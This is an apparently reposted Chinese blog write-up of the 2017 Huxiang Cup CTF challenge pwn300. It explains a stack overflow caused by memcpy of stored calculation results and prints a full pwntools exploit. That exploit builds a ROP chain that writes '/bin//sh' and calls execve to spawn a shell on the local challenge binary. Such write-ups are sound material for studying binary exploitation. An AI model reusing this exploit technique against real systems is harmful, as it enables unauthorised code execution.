2017湖湘杯pwn300的wp
来源:互联网 发布:下载壁纸软件 编辑:程序博客网 时间:2024/06/06 15:38
湖湘杯的pwn比赛很有趣,我做了pwn300的题目,感觉不错,我把wp分享出来,pwns的下载链接是:http://download.csdn.net/download/niexinming/10143408
把pwn300直接拖入ida中:
main函数:
add函数:
这个题目很有意思,首先开辟一个3到255大小的堆空间,然后做加减乘除的计算之后把计算结果放入堆中,最后可以把所有的计算结果用memcpy函数全部放入函数的临时变量v5中也就是栈中,这样就会造成栈溢出
先运行一下程序看一下这个程序干了啥:
再看看程序开启了哪些保护:
看到这个程序开了栈不可执行,于是肯定就会想到用rop来做
这个题目用ida打开之后发现有很多函数,所以判断这个题目是静态编译的
所以可以用http://blog.csdn.net/niexinming/article/details/78259866 中我提到的ROPgadget工具来做,不出意外,很成功的找了完整的rop链
这个题目还有个难点就是不能直接输入十六进制,所以根据http://blog.csdn.net/niexinming/article/details/78666941 我的这篇文件可以用ctypes.c_int32(0x123).value进行转换
所以我的exp是:
#!/usr/bin/env python# -*- coding: utf-8 -*-__Auther__ = 'niexinming'from pwn import *import binasciiimport ctypes as ctfrom struct import packcontext(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')def debug(addr = '0x08048ff5'): raw_input('debug:') gdb.attach(io, "b *" + addr)def base_addr(prog_addr,offset): return eval(prog_addr)-offsetelf = ELF('/home/h11p/hackme/huxiangbei/pwn300')io = process('/home/h11p/hackme/huxiangbei/pwn300')p=[]p.append( 0x0806ed0a) # pop edx ; retp.append( 0x080ea060) # @ .datap.append( 0x080bb406) # pop eax ; retp.append(eval('0x'+binascii.b2a_hex('nib/')))p.append( 0x080a1dad) # mov dword ptr [edx], eax ; retp.append( 0x0806ed0a) # pop edx ; retp.append( 0x080ea064) # @ .data + 4p.append( 0x080bb406) # pop eax ; retp.append(eval('0x'+binascii.b2a_hex('hs//')))p.append(0x080a1dad) # mov dword ptr [edx], eax ; retp.append(0x0806ed0a) # pop edx ; retp.append(0x080ea068) # @ .data + 8p.append(0x08054730) # xor eax, eax ; retp.append(0x080a1dad) # mov dword ptr [edx], eax ; retp.append(0x080481c9) # pop ebx ; retp.append(0x080ea060) # @ .datap.append(0x0806ed31) # pop ecx ; pop ebx ; retp.append(0x080ea068) # @ .data + 8p.append(0x080ea060) # padding without overwrite ebxp.append(0x0806ed0a) # pop edx ; retp.append(0x080ea068) # @ .data + 8p.append(0x08054730) # xor eax, eax ; retp.append(0x0807b75f) # inc eax ; retp.append(0x0807b75f) # inc eax ; retp.append(0x0807b75f) # inc eax ; retp.append(0x0807b75f) # inc eax ; retp.append(0x0807b75f) # inc eax ; retp.append(0x0807b75f) # inc eax ; retp.append(0x0807b75f) # inc eax ; retp.append(0x0807b75f) # inc eax ; retp.append(0x0807b75f) # inc eax ; retp.append(0x0807b75f) # inc eax ; retp.append(0x0807b75f) # inc eax ; retp.append(0x08049781) # int 0x80tempnum=0#debug()io.recvuntil('How many times do you want to calculate:')io.sendline('255')for i in xrange(0,16): io.recvuntil('5 Save the result\n') io.sendline('1') io.recvuntil('input the integer x:') io.sendline(str(tempnum)) io.recvuntil('input the integer y:') io.sendline('0')for j in p: io.recvuntil('5 Save the result\n') io.sendline('1') io.recvuntil('input the integer x:') io.sendline(str(ct.c_int32(j).value)) io.recvuntil('input the integer y:') io.sendline('0')io.recvuntil('5 Save the result\n')io.sendline('5')io.interactive()io.close()
注意一点就是,就是程序在return 0之前会调用free,而为了保证free函数的正常运行,前十六次计算的结果必须为0,后面的计算结果就可以随意了
最后getshell的效果是:
阅读全文
0 0
- 2017湖湘杯pwn300的wp
- 2017湖湘杯pwn100的wp
- 2017湖湘杯pwn200的wp
- 2017 429 ichunqiu ctf smallest(pwn300) writeup
- 湖湘杯pwn400的wp
- sctf 2014 pwn300
- HITCTF PWN300--dynelf
- WP的好书
- wp的progressDialog
- wp 遇到的错误
- wp 的MD5代码
- 移植WP的总结
- sp&wp 的三板斧
- WP的后台代理
- sp&wp 的三板斧
- sp&wp 的三板斧
- smashthestack的wp
- onepunch的wp
- Mac 下查看二进制文件
- mysql 字段为NULL的一些操作
- 树状数组
- 算法设计与分析复习(二):算法设计策略-贪心法
- subptwo
- 2017湖湘杯pwn300的wp
- fragment 简单的例子
- 【Django】路由分配系统
- 数据结构之线性表的顺序存储结构
- Python连接mysql数据库
- struts2动态调用+Servlet过滤器+struts2拦截器
- spring+active
- TFTP协议
- C数组解决八皇后问题